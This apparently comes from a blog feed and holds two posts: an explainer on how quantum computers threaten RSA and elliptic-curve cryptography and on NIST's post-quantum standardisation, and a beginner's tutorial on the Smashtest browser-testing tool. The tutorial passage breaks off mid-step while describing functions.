How quantum computers break our security, and what's being done about it2021-12-28T00:00:00Zhttps://code.mendhak.com/general-understanding-quantum-safe-cryptography/<p>As a computing end user, I’ve been vaguely aware of quantum computing on the horizon, but haven’t been aware regarding its effect on us. To that end I decided to get a generalist’s understanding of how quantum computers would affect our security, and what’s happening right now in the industry to address these issues. I’m only vaguely aware that our SSH keys will need changing, and browsers will need to perform TLS differently, but without understanding the why and the ‘behind the scenes’ work.</p>
<h2 id="how-it-started-shor-s-algorithm" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/general-understanding-quantum-safe-cryptography/#how-it-started-shor-s-algorithm">How it started, Shor’s Algorithm</a></h2>
<p>Through the 1980s, quantum computers were simply a topic of study, until 1994 when mathematician Peter Shor devised a quantum computing <a href="https://www.jstor.org/stable/2653075">algorithm</a> basically along the lines of, <em>“Given an integer N, find its prime factors”</em>. It’s a simple sentence with large implications.</p>
<p>The significance is that the stated problem is how you’d go about decrypting messages based on our current key exchange algorithms. That is, many key exchange algorithms today work by multiplying two large prime numbers to get a result, and rely on the opposite direction, figuring out which prime numbers were used, being difficult to solve.</p>
<p>On today’s computers (usually referred to as classical machines), for large values, this would take trillions of years, and it is this difficulty which gives us the assurance we need that our key exchanges and authentication steps are safe. That assurance goes away with quantum computers.</p>
<p></p><figure><span class="lightbox-image" data-src="/assets/images/general-understanding-quantum-safe-cryptography/001.png">
<img src="https://code.mendhak.com/assets/images/general-understanding-quantum-safe-cryptography/001.png" alt="The easiness of multiplying prime numbers, but difficulty of decomposing them" title="" loading="lazy" /></span>
<figcaption>The prime factors of an integer</figcaption>
</figure><p></p>
<h3 id="what-this-means-for-ssh-and-tls" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/general-understanding-quantum-safe-cryptography/#what-this-means-for-ssh-and-tls">What this means for SSH and TLS</a></h3>
<p>By showing that this stated problem has a trivial solution on quantum computers, it means that a sufficiently powerful quantum computer could break the fundamental steps used in SSH and TLS (namely RSA and Elliptic Curve cryptography). As a specific example, it would take 300 trillion years to break an RSA-2048 encryption key for a classical machine, but <a href="https://www.quintessencelabs.com/blog/breaking-rsa-encryption-update-state-art/">just 10 seconds for a quantum computer</a>.</p>
<p>As it stands right now, our SSH keys are not quantum safe. Even though OpenSSH have recently <a href="https://levelup.gitconnected.com/demystifying-ssh-rsa-in-openssh-deprecation-notice-22feb1b52acd">deprecated RSA</a>, and many people will be moving towards the more secure ED25519 key format, neither are safe from an attacker with access to quantum computing resources.</p>
<p>The same vulnerabilities apply to TLS, where the impact is even larger. TLS is of course used by browsers and other tools when negotiating traffic to HTTPS URLs. It’s also used by backend systems, such as clients talking to databases, queues and messaging systems. TLS is a huge part of the software operational backbone for TCP communications.</p>
<p>All this in turn means, some day in the future, we will need to start using a newer type of SSH key and newer TLS encryption schemes across systems. Between SSH and TLS, this pretty much covers a huge swathe of infrastructure, and not mitigating can have huge impacts with economic, legal and political consequences.</p>
<h2 id="why-worry-now" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/general-understanding-quantum-safe-cryptography/#why-worry-now">Why worry now</a></h2>
<h3 id="quantum-computers-are-weak-today" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/general-understanding-quantum-safe-cryptography/#quantum-computers-are-weak-today">Quantum computers are weak today</a></h3>
<p>Quantum computers aren’t very powerful today and are constrained by a few problems.</p>
<p>The first one is called <em>coherence time</em>; it’s the duration that the qubits in a quantum computer can stay useful for the purposes of a calculation. If a calculation on a quantum machine requires more time than the coherence time, then the machine won’t be able to solve the problem. The best time achieved as of 2021 has been around 300 to 500 microseconds, which isn’t very useful considering the 10 seconds quoted above for breaking RSA-2048. However there is always research being done to <a href="https://www.nature.com/articles/s41467-020-20330-w">increase this coherence time to 1 hour and more</a>.</p>
<figure>
<span class="lightbox-image" data-src="/assets/images/general-understanding-quantum-safe-cryptography/002.png"><img src="https://code.mendhak.com/assets/images/general-understanding-quantum-safe-cryptography/002.png" alt="" loading="lazy" data-caption="" style="width: calc(50% - 0.5em);" /></span>
<span class="lightbox-image" data-src="/assets/images/general-understanding-quantum-safe-cryptography/003.png"><img src="https://code.mendhak.com/assets/images/general-understanding-quantum-safe-cryptography/003.png" alt="" loading="lazy" data-caption="" style="width: calc(50% - 0.5em);" /></span>
<figcaption>Increasing quantum coherence</figcaption></figure>
<p>The other problem is the <em>number of qubits</em> in the quantum computer. In the RSA-2048 breaking example above, the quantum computer would also need 4099 stable qubits. As of 2021, IBM has the largest quantum computer at <a href="https://www.newscientist.com/article/2297583-ibm-creates-largest-ever-superconducting-quantum-computer/">127 qubits</a> and are predicting <a href="https://research.ibm.com/blog/ibm-quantum-roadmap">1121 qubits in 2023</a>.</p>
<div class="notice info">
If you’re wondering where the 4099 number came from for an RSA-2048 bit key, it’s based on having <a href="https://arxiv.org/pdf/quant-ph/0205095.pdf">2n+3 qubits rquired for an efficient implementation of Shor’s algorithm</a>. It’s possible to have a different number of qubits, the time taken will just be different. There might also exist other efficient algorithms that require fewer qubits.<br />
</div>
<p>These stated numbers are changing frequently though, as universities and organisations are continuously outdoing each other. It’s tempting to think that quantum computing might stay in the realm of curiosity, research and academia, without making progress past current coherence and qubit limitations, but this is no <a href="https://techmonitor.ai/technology/ibm-eagle-chip-quantum-computing">longer</a> a <a href="https://ai.googleblog.com/2018/03/a-preview-of-bristlecone-googles-new.html">commonly</a> held <a href="https://en.wikipedia.org/wiki/Quantum_supremacy">viewpoint</a>.</p>
<figure>
<span class="lightbox-image" data-src="/assets/images/general-understanding-quantum-safe-cryptography/005.png"><img src="https://code.mendhak.com/assets/images/general-understanding-quantum-safe-cryptography/005.png" alt="" loading="lazy" data-caption="" style="width: calc(33% - 0.5em);" /></span>
<span class="lightbox-image" data-src="/assets/images/general-understanding-quantum-safe-cryptography/006.png"><img src="https://code.mendhak.com/assets/images/general-understanding-quantum-safe-cryptography/006.png" alt="" loading="lazy" data-caption="" style="width: calc(33% - 0.5em);" /></span>
<span class="lightbox-image" data-src="/assets/images/general-understanding-quantum-safe-cryptography/007.png"><img src="https://code.mendhak.com/assets/images/general-understanding-quantum-safe-cryptography/007.png" alt="" loading="lazy" data-caption="" style="width: calc(33% - 0.5em);" /></span>
<figcaption>Breaking qubits barrier</figcaption></figure>
<div class="notice info">
It’s not important to know what qubits are for this post, it’s simpler to think of them as the same as bits in classical computers, but with multiple possible values at the same time.
</div>
<h3 id="but-the-it-industry-is-slow" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/general-understanding-quantum-safe-cryptography/#but-the-it-industry-is-slow">But the IT industry is slow</a></h3>
<p>Most authoritative and standard bodies are estimating that at some point in the next 15-20 years, quantum computers will become sufficiently powerful to pose a real threat to today’s security. That seems like a generation away, but anyone with experience in the IT sector can attest to the glacial pace at which changes occur across any given systems. This is even more the case with systems that are entrenched and embedded among large sprawling legacy setups in complex dependencies that build up over time in undocumented ways, but which also serves as crucial points for public infrastructure.</p>
<p>It’s pretty frightening how much of this today’s infrastructure is held together by virtual duct tape with very little knowledge about how they are working. Now couple that with a great SSH/TLS migration, where any traces of the ‘old world’ algorithms need to be done away with, while keeping those same systems running. Implementing new SSH and TLS across old and new systems in complex setups is most definitely a non trivial task and would require years to implement.</p>
<p>That is the reason that standards bodies have already started looking at solutions. By the time recommendations have been made, and the right security algorithms work their way into the software that we use, a great deal of time will have passed.</p>
<p>Even then, it will still take a long time to convince businesses and organisations to put in the time and effort to modify all their systems. It’s a bit of speculation, but it might take an actual, high-impact security incident to occur to convince product and business owners to scramble to patch their own systems.</p>
<h2 id="who-s-working-on-solutions" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/general-understanding-quantum-safe-cryptography/#who-s-working-on-solutions">Who’s working on solutions</a></h2>
<p>There are three major authorities who are looking at this problem. NIST, based in the US. NCSC, based in the UK. And ETSI, based in the EU but operating worldwide.</p>
<p>Of these three, NIST (US) and ETSI (EU) and working on recommendations and solutions, while <a href="https://www.ncsc.gov.uk/whitepaper/preparing-for-quantum-safe-cryptography">NCSC (UK) will be following NIST’s lead</a>.</p>
<p>What NIST and ETSI are actually doing is bringing together cryptographic experts along with government and business representatives. Their aim is to provide a set of recommendations for post quantum cryptography (PQC). Some of these will be the algorithms themselves, but a large part of it will also be providing guidance and strategies to businesses and agencies on how to figure out what’s affected, and how to migrate those systems. In other words, the work isn’t being done in isolation in an ivory tower, and it’s not just about the algorithms.</p>
<p>Both bodies are documenting their work. <a href="https://www.etsi.org/images/files/ETSIWhitePapers/QuantumSafeWhitepaper.pdf">ETSI’s initial whitepaper on quantum safe cryptography</a> is quite thorough, although the rest of their information is scattered about, poorly organised, and harder to make sense of. NIST’s documentation is <a href="https://csrc.nist.gov/projects/post-quantum-cryptography">better organised</a> and is easier to follow, even their discussions are happening in the open. I’ve only been able to summarize the ongoings in the NIST sphere.</p>
<h2 id="nist" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/general-understanding-quantum-safe-cryptography/#nist">NIST</a></h2>
<p>NIST started organising around this topic in 2015, their aim was to achieve general consensus and assure trust in the algorithms that they would be choosing. They’ve come up with a set of criteria for the algorithms to be chosen, so that others (universities, organisations, individuals) can make submissions for evaluation and selection. Some of the criteria are making sure the algorithms are publicly disclosed; they shouldn’t rely on components that aren’t quantum safe; proving there are no back-doors.</p>
<h3 id="submissions" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/general-understanding-quantum-safe-cryptography/#submissions">Submissions</a></h3>
<p>There have been three rounds of submissions, the first one was in 2017 and the latest in 2020. It’s actually possible to <a href="https://csrc.nist.gov/Projects/post-quantum-cryptography/Round-1-Submissions">see the submissions</a> along with their quirky names and reference code in the zip files. The <a href="https://csrc.nist.gov/events/2021/third-pqc-standardization-conference">third conference held in 2020</a> holds several presentation topics and <a href="https://csrc.nist.gov/Projects/post-quantum-cryptography/workshops-and-timeline/round-3-seminars">even some videos</a>.</p>
<p>NIST is expecting to draft some standards between 2022 and 2024. We should start seeing more concrete news and recommendations around then.</p>
<h3 id="discussions" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/general-understanding-quantum-safe-cryptography/#discussions">Discussions</a></h3>
<p>There’s a <a href="https://groups.google.com/a/list.nist.gov/g/pqc-forum">mailing list, the pqc-forum</a> where you can see all the discussions happening out in the open! It’s pretty fascinating watching cryptographics experts having technical discussions across multiple scopes both broad and niche, even if a lot of it goes over my head. The discussions are usually technical in nature, and there are some announcements, updates, and the occasional argument.</p>
<h3 id="evaluation" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/general-understanding-quantum-safe-cryptography/#evaluation">Evaluation</a></h3>
<p>In each round, the submitted algorithms are evaluated in a few ways. The most important one is of course their resistance to both classical and quantum attacks. Also evaluated is performance on classical computers, since these implementations will need to run on weak as well as powerful hardware. And there are smaller factors such as, how easy a drop-in replacement would be, does it have perfect forward secrecy, is it resistant to side channel attacks, is it resistant to misuse.</p>
<p>In the first round alone, of the 64 submissions, 16 were quickly attacked or broken and had to be rejected.</p>
<h2 id="the-round-3-finalists" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/general-understanding-quantum-safe-cryptography/#the-round-3-finalists">The Round 3 Finalists</a></h2>
<p>For the third round of NIST’s selection, 4 public key algorithms were chosen (Classic McEliece, Crystals-Kyber, NTRU, and Saber) and 3 were chosen for digital signatures (Crystals-Dilithium, Falcon, and Rainbow).</p>
<p>These choices will be narrowed down further over the next year. Among the public key algorithms, Kyber, NTRU, and Saber are ‘lattice scheme’ algorithms, and NIST intends to pick just one. Among the digital signatures, Dilithium and Falcon are also lattice schemes, again just one will be picked. NIST expects that lattice scheme algorithms will become the general purpose algorithm in the future, and eventually names we’ll become somewhat familiar with on a regular basis.</p>
<h3 id="performance" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/general-understanding-quantum-safe-cryptography/#performance">Performance</a></h3>
<p>In terms of performance, Kyber and Saber are the highest ranked. The results can be seen <a href="https://csrc.nist.gov/CSRC/media/Presentations/fpga-benchmarking-of-crystals-kyber-ntru-and-saber/images-media/session-3-gaj-high-speed-hardware.pdf">on the NIST site</a>. High performance algorithms are more likely to be used in protocols where speed is a concern, such as HTTPS/TLS.</p>
<h3 id="vpns" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/general-understanding-quantum-safe-cryptography/#vpns">VPNs</a></h3>
<p>The two most popular VPN implementations are OpenVPN and WireGuard. Microsoft Research have created a proof of concept using OpenVPN, to make it quantum safe using FrodoKEM. Although FrodoKEM isn’t a third round finalist although it’s expected to be evaluated in a fourth round. Wireguard have added quantum safe cryptography to their implementation, using McEliese and Saber.</p>
<h3 id="iot-and-embedded-devices" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/general-understanding-quantum-safe-cryptography/#iot-and-embedded-devices">IoT and embedded devices</a></h3>
<p>Embedded devices play a role in critical infrastructure, such as power grids, transportation and water. These devices can stay in place for decades, and work with very limited resources (for example, 4KB RAM and 100 MHz CPUs). For that reason their selection criteria depend greatly on key sizes. And because there are devices today which will be around in 20 years, embedded device and IoT engineers need to get started with implementations as soon as possible. <a href="https://csrc.nist.gov/Presentations/2021/requirements-for-post-quantum-cryptography-on-embe">Their preference</a> would be Kyber or Saber for key algorithms, and Falcon for signatures.</p>
<h3 id="what-vehicle-manufacturers-want" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/general-understanding-quantum-safe-cryptography/#what-vehicle-manufacturers-want">What vehicle manufacturers want</a></h3>
<p>In <a href="https://csrc.nist.gov/CSRC/media/Presentations/suitability-of-3rd-round-signature-candidates-for/images-media/session-5-bindel-suitability-vehicle.pdf">Vehicle to Vehicle communication</a>, vehicles broadcast Basic Safety Messages (BSMs) 10 times per second to their surroundings, containing information like speed, direction and brake status. Vehicles are expected to receive and process each other’s BSMs rapidly, and so the focus is on reliability and speed of verification due to the realtime nature of the decisions involved in dense environments. The preferred algorithms were Dilithium and Falcon. However the packet sizes involved with Dilithium weren’t great when it came to rapid verifications, so they might be leaning towards Falcon.</p>
<figure>
<span class="lightbox-image" data-src="/assets/images/general-understanding-quantum-safe-cryptography/009.jpg"><img src="https://code.mendhak.com/assets/images/general-understanding-quantum-safe-cryptography/009.jpg" alt="" loading="lazy" data-caption="" style="width: calc(50% - 0.5em);" /></span>
<span class="lightbox-image" data-src="/assets/images/general-understanding-quantum-safe-cryptography/010.jpg"><img src="https://code.mendhak.com/assets/images/general-understanding-quantum-safe-cryptography/010.jpg" alt="" loading="lazy" data-caption="" style="width: calc(50% - 0.5em);" /></span>
<figcaption>Vehicle to Vehicle</figcaption></figure>
<h3 id="the-crystals-kyber-and-dilithium" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/general-understanding-quantum-safe-cryptography/#the-crystals-kyber-and-dilithium">The Crystals, Kyber and Dilithium</a></h3>
<p>These interesting names are references to Star Wars and Star Trek respectively.</p>
<p>A Kyber crystal, from Star Wars, is used as the living crystal inside lightsabers. Incidentally, Saber is another chosen algorithm (not from the same Crystals group), and one of their implementations is named LightSABER.</p>
<p>Dilithium is used in spaceships in the Star Trek universe for matter-antimatter reactors. Although they appear to be from the same family, their formulations and implementations seem to be by different authors. Both reference implemenations for <a href="https://github.com/pq-crystals/kyber">Kyber</a> and <a href="https://github.com/pq-crystals/dilithium">Dilithium</a> are on Github.</p>
<h3 id="classic-mceliece" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/general-understanding-quantum-safe-cryptography/#classic-mceliece">Classic McEliece</a></h3>
<p>This is an interesting one; originally developed in 1978, it never gained much acceptance, but is now a third round finalist. It’s immune to attacks from Shor’s algorithm. It’s faster than RSA. However one disadvantage is that its public keys are pretty large, a typical implementation would be about 512kb. This becomes a barrier for some implementations as key lengths play a role on devices where there is limited storage, memory and CPU power, such as the IoT case above. It might not be a great choice for TLS either, since the large key would require multiple packets to transmit.</p>
<h3 id="there-s-always-a-patent-troll" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/general-understanding-quantum-safe-cryptography/#there-s-always-a-patent-troll">There’s always a patent troll</a></h3>
<p>Because it’s now a given that we can’t have nice things, the problem of patents has reared its head. A ‘research organisation’ from France, known as CNRS, appear to be claiming that <a href="https://patents.google.com/patent/US9094189B2/en">their patent</a> covers the Kyber and Saber algorithms. They’ve also made their position quite clear <a href="http://web.archive.org/web/20211023161655/https://www.cnrsinnovation.com/?lang=en">on their website regarding the royalty rates they are expecting</a>.</p>
<p>The problem becomes, if NIST goes ahead and picks Kyber or Saber, and CNRS starts demanding royalties, then there will be great barriers towards adoption of the chosen algorithms. If they litigate and win (court systems tend to favor patent holders), then the standard becomes patent encumbered. In the worst case then, one of the next generation’s most important security updates gets held hostage due to greed.</p>
<p>A thread on the pqc-forums covers why <a href="https://groups.google.com/a/list.nist.gov/g/pqc-forum/c/2Xv0mrF9lVo">the CNRS patent may not be applicable</a> from a scientific perspective, though it’s unclear whether that also applies from a legal perspective.</p>
<p>There’s also <a href="https://groups.google.com/a/list.nist.gov/g/pqc-forum/c/nbIZhtICKWU/m/ML7aYY71AgAJ">another thread</a> discussing the same patent in the context of patent buyouts and dealing with patent risks in general. Both threads make for interesting reads.</p>
<h2 id="what-s-happening-in-the-software-industry" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/general-understanding-quantum-safe-cryptography/#what-s-happening-in-the-software-industry">What’s happening in the software industry</a></h2>
<h3 id="open-quantum-safe" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/general-understanding-quantum-safe-cryptography/#open-quantum-safe">Open Quantum Safe</a></h3>
<p>This is the part that’s closer to us as developers and end users. Microsoft, IBM, and AWS are working with universities on the <a href="https://openquantumsafe.org/">Open Quantum Safe</a> project. The project has created a library called <a href="https://github.com/open-quantum-safe/liboqs"><code>liboqs</code></a> containing quantum resistant algorithms, which will be made available for use to other software projects. The project is also prototyping integration into most commonly used protocols such as TLS, SSH, and certificates. Importantly they also have a <a href="https://github.com/open-quantum-safe/openssl">fork of OpenSSL</a> with some quantum safe algorithms implemented. They’ve got demo integrations with Apache httpd, nginx, curl and <a href="https://github.com/open-quantum-safe/oqs-demos/releases/">Chromium browser</a>. There are <a href="https://hub.docker.com/u/openquantumsafe">Docker images too!</a></p>
<p></p><figure><span class="lightbox-image" data-src="/assets/images/general-understanding-quantum-safe-cryptography/008.jpg">
<img src="https://code.mendhak.com/assets/images/general-understanding-quantum-safe-cryptography/008.jpg" alt="Various components of Open Quantum Safe project" title="" loading="lazy" /></span>
<figcaption>Open Quantum Safe</figcaption>
</figure><p></p>
<h3 id="cloudflare" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/general-understanding-quantum-safe-cryptography/#cloudflare">Cloudflare</a></h3>
<p>Cloudflare are also working on their <a href="https://github.com/cloudflare/circl">CIRCL</a> library which is a collection of implementations, including post quantum cryptographic ones, specifically SIKE, CSIDH, Kyber and Dilithium.</p>
<p>There’s also an in-depth <a href="https://blog.cloudflare.com/towards-post-quantum-cryptography-in-tls/">blog post</a> where they cover their efforts towards PQC. One of these efforts was a <a href="https://blog.cloudflare.com/the-tls-post-quantum-experiment/">TLS Post-Quantum experiment with Google</a> to evaluate the performance and feasibility of some new ciphers.</p>
<h3 id="microsoft" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/general-understanding-quantum-safe-cryptography/#microsoft">Microsoft</a></h3>
<p>Microsoft Research are covering <a href="https://www.microsoft.com/en-us/research/project/post-quantum-cryptography/">their efforts</a> through multiple PQC algorithms named FrodoKEM, SIKE, Picnic, and qTESLA. They’re also working on integrations for OpenVPN, TLS/OpenSSL and OpenSSH.</p>
<h2 id="final-thoughts-and-how-to-keep-up-with-pqc-news" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/general-understanding-quantum-safe-cryptography/#final-thoughts-and-how-to-keep-up-with-pqc-news">Final thoughts and how to keep up with PQC news</a></h2>
<p>So there’s more to come over the next few years. Final choices and recommendations, hopefully some resolution to the potential patent headaches, and some actual implementations. What is clear though, is that doing nothing isn’t an option, and that’s a pretty Shor bet.</p>
<p>Keeping up with ongoing PQC updates doesn’t seem to be easy. One way would be to join their <a href="https://csrc.nist.gov/Projects/post-quantum-cryptography/Email-List">mailing list</a> at the risk of getting too much indecipherable ‘noise’. The other would be to ‘watch’ the <a href="https://csrc.nist.gov/Projects/post-quantum-cryptography/news">NIST PQC News page</a>. That page doesn’t seem to have an RSS feed, although there are a few <a href="https://www.nist.gov/pao/nist-rss-feeds">topic based RSS feeds</a>, again with the risk of too much ‘other noise’.</p>
<h2 id="update-2022-07-06" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/general-understanding-quantum-safe-cryptography/#update-2022-07-06">Update, 2022-07-06</a></h2>
<p>NIST have <a href="https://csrc.nist.gov/News/2022/pqc-candidates-to-be-standardized-and-round-4">announced</a> some candidates to be standardized. For general encryption (which will be used for browsing websites), NIST has selected the <a href="https://github.com/pq-crystals/kyber">CRYSTALS-Kyber</a> algorithm. For signatures, three have been chosen: <a href="https://github.com/pq-crystals/dilithium">CRYSTALS-Dilithium</a>, <a href="https://falcon-sign.info/">FALCON</a> and <a href="https://sphincs.org/">SPHINCS+</a>.</p>
<p>They are also proceeding to the <a href="https://csrc.nist.gov/News/2022/pqc-candidates-to-be-standardized-and-round-4#fourth-round">fourth round</a> for additional candidates to standardize on.</p>
<h2 id="update-2024-08-17" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/general-understanding-quantum-safe-cryptography/#update-2024-08-17">Update, 2024-08-17</a></h2>
<p>NIST have <a href="https://csrc.nist.gov/News/2024/postquantum-cryptography-fips-approved">announced</a> that they have standardized three post-quantum cryptography encryption schemes. They don’t get to retain their cooler names, instead they’re now simply known as Federal Information Processing Standard (FIPS). CRYSTALS-Kyber becomes FIPS 203, CRYSTALS-Dilithium becomes FIPS 204, Sphincs+ becomes 205. FALCON is expected to become FIPS 206 in late 2024.</p>
<p>At this point we can expect to see efforts to implement these algorithms in software and hardware, and eventually see them roll out into our userspace.</p>
Smashtest Tutorial2021-06-19T00:00:00Zhttps://code.mendhak.com/smashtest-tutorial/<div class="notice warning">
As of 2026, Smashtest hasn’t had any repo activity in a long time, and potentially is no longer being maintained.
<p>It was lovely while it lasted, but it is worth considering a move to Playwright instead. It will still remain one of my favourite testing frameworks due to its readability, ease of use, interactive mode, and that it was one of the first to make testing more accessible to non-developers.</p>
</div>
<p>Smashtest is a DSL on top of Selenium that makes reading and writing tests easy. It focuses on improving productivity with a lot of helpful features, it can run tests in parallel and also comes with an interactive mode.</p>
<h2 id="setup" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/smashtest-tutorial/#setup">Setup</a></h2>
<p>For this tutorial, you will need to have NodeJS already installed.</p>
<h3 id="create-a-practice-directory" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/smashtest-tutorial/#create-a-practice-directory">Create a practice directory</a></h3>
<p>Create a directory for this tutorial and cd into it.</p>
<pre><code>mkdir smashtest-tutorial
cd smashtest-tutorial
</code></pre>
<h3 id="get-the-gecko-webdriver" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/smashtest-tutorial/#get-the-gecko-webdriver">Get the Gecko webdriver</a></h3>
<p>Get the latest <a href="https://github.com/mozilla/geckodriver/releases">Firefox Gecko web driver</a>. The web driver is needed by Smashtest (via Selenium) so that it can remotely control Firefox.</p>
<p>On Ubuntu:</p>
<pre><code>wget -c https://github.com/mozilla/geckodriver/releases/download/v0.29.1/geckodriver-v0.29.1-linux64.tar.gz -O - | tar -xz
</code></pre>
<p>On Windows (Powershell):</p>
<pre><code>wget https://github.com/mozilla/geckodriver/releases/download/v0.29.1/geckodriver-v0.29.1-win64.zip -o geckodriver.zip
Expand-Archive geckodriver.zip -DestinationPath .
rm geckodriver.zip
</code></pre>
<h3 id="install-smashtest" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/smashtest-tutorial/#install-smashtest">Install Smashtest</a></h3>
<p>The Smashtest package is available via npm.</p>
<pre><code>npm install smashtest
</code></pre>
<h2 id="write-your-first-test" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/smashtest-tutorial/#write-your-first-test">Write your first test</a></h2>
<p>Create a <code>main.smash</code> file. Add these contents</p>
<pre><code>Open Firefox
Navigate to 'https://example.com'
Click ['More information...']
</code></pre>
<p>Now run the test visually:</p>
<pre><code>npx smashtest --headless=false
</code></pre>
<p>A browser window is launched, navigates to example.com and clicks “More Information”. The <code>--headless=false</code> lets you see what is happening.</p>
<p></p><figure><span class="lightbox-image" data-src="/assets/images/smashtest-tutorial/001.png">
<img src="https://code.mendhak.com/assets/images/smashtest-tutorial/001.png" alt="Smashtest launches a browser" loading="lazy" /></span>
<figcaption>Smashtest launches a browser</figcaption>
</figure><p></p>
<p>You can also run the test headless by default, but view it as a series of screenshots instead.</p>
<pre><code>npx smashtest --screenshots=true
</code></pre>
<p>When the test completes, preview the <code>smashtest/report.html</code> file, which shows the output with screenshots.</p>
<p></p><figure><span class="lightbox-image" data-src="/assets/images/smashtest-tutorial/002.png">
<img src="https://code.mendhak.com/assets/images/smashtest-tutorial/002.png" alt="Smashtest report with screenshots" loading="lazy" /></span>
<figcaption>Smashtest report with screenshots</figcaption>
</figure><p></p>
<h2 id="write-a-test-interactively" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/smashtest-tutorial/#write-a-test-interactively">Write a test interactively</a></h2>
<p>Writing tests interactively is useful for slightly complicated examples. A good example is Google search - when visiting google.com for the first time, a cookie dialog appears. The dialog needs to be dismissed before performing a search.</p>
<p>Start by replacing the <code>main.smash</code> file, and putting these lines in:</p>
<pre><code>Open Firefox
~ Navigate to 'https://www.google.com'
</code></pre>
<p>Run <code>npx smashtest</code>. This time, due to the debug modifier <code>~</code>, a browser window is launched, and the terminal goes into interactive mode. The tests pause just before the Navigate step.</p>
<p>In the terminal you can now type Smashtest commands and watch what it does interactively.</p>
<p>Press enter in the terminal to proceed with the Navigate step.</p>
<p>Enter this, which will click the ‘I agree’ button on the cookie dialog:</p>
<pre><code>Click ['I agree']
</code></pre>
<p>The dialog disappears.</p>
<p>You can then perform a search:</p>
<pre><code>Type 'hello world[enter]' into 'input'
</code></pre>
<p>That takes you to a search results page.</p>
<p></p><figure><span class="lightbox-image" data-src="/assets/images/smashtest-tutorial/003.png">
<img src="https://code.mendhak.com/assets/images/smashtest-tutorial/003.png" alt="Smashtest interactive mode" loading="lazy" /></span>
<figcaption>Smashtest interactive mode</figcaption>
</figure><p></p>
<p>Finally use <code>x</code> to exit the REPL.</p>
<p>Put what you’ve learned so far into the <code>main.smash</code></p>
<pre><code>Open Firefox
Navigate to 'https://www.google.com'
Click ['I agree']
Type 'hello world[enter]' into 'input'
</code></pre>
<p>Rerun the test using <code>npx smashtest --headless=false</code> to see the steps in action.</p>
<h2 id="run-tests-in-branches" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/smashtest-tutorial/#run-tests-in-branches">Run tests in branches</a></h2>
<p>Write a test which goes to Google’s page, but performs two different searches. The new search step should be at the same indent level as the original.</p>
<p>The <code>main.smash</code> now looks like:</p>
<pre><code>Open Firefox
Navigate to 'https://www.google.com'
Click ['I agree']
Type 'hello world[enter]' into 'input'
Type 'hello universe[enter]' into 'input'
</code></pre>
<p>Run the test with <code>npx smashtest --headless=false</code> and notice that two browser windows open.</p>
<p></p><figure><span class="lightbox-image" data-src="/assets/images/smashtest-tutorial/004.png">
<img src="https://code.mendhak.com/assets/images/smashtest-tutorial/004.png" alt="Smashtest branches" loading="lazy" /></span>
<figcaption>Smashtest branches</figcaption>
</figure><p></p>
<p>Indented instructions happen one after the other, in one branch.<br />
Instructions at the <em>same</em> level, next to each other, create branches which run separately.<br />
The above example results in two branches and therefore two browsers.</p>
<h2 id="verify-elements-on-the-page" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/smashtest-tutorial/#verify-elements-on-the-page">Verify elements on the page</a></h2>
<p>As part of testing, it’s sometimes important to verify that elements are visible on the page.</p>
<p>On the ‘hello world’ search results page, one of the top links was to Wikipedia.<br />
On the ‘hello universe’ page, there was a side bar referring to an author.<br />
The Verify steps below show how to verify that the link and text are visible.</p>
<p>The <code>main.smash</code> becomes:</p>
<pre><code>Open Firefox
Navigate to 'https://www.google.com'
Click ['I agree']
Type 'hello world[enter]' into 'input'
Verify [a, 'Wikipedia'] is visible
Type 'hello universe[enter]' into 'input'
Verify ['Erin Entrada Kelly'] is visible
</code></pre>
<p>Run the test to ensure it’s still working, <code>npx smashtest</code>.</p>
<p>The first verify looks for a link with the word Wikipedia in it. The second looks for any element with the author’s name in it.</p>
<h2 id="verify-urls" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/smashtest-tutorial/#verify-urls">Verify URLs</a></h2>
<p>It’s also possible to verify URLs and page titles. Create a new smash file called <code>links.smash</code>. This time, go to the Google home page but click the ‘About’ link, and verify the URL.</p>
<pre><code>Open Firefox
Navigate to 'https://www.google.com'
Click ['I agree']
Click ['About']
Verify at page 'https://about.google/'
</code></pre>
<p>Run the test to ensure it’s still working, <code>npx smashtest</code>. As long as part of the URL matches, it will pass. It’s also possible to use regex here.</p>
<div class="notice info">
You don’t need to tell smashtest about the new <code>links.smash</code>. By default, smashtest will look for all <code>.smash</code> files in the current directory.
It’s possible to test just one file by passing the filename, <code>npx smashtest main.smash</code><br />
</div>
<h2 id="create-functions" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/smashtest-tutorial/#create-functions">Create functions</a></h2>
<p>Although <code>main.smash</code> and <code>links.smash</code> are different tests, they have the same initial steps: go to the home page and dismiss a dialog. Repeated steps can be turned into functions.</p>
<p>Create a <code>go-to-homepage.smash</code>, and create a function using the <code>* functionname</code> syntax:</p>
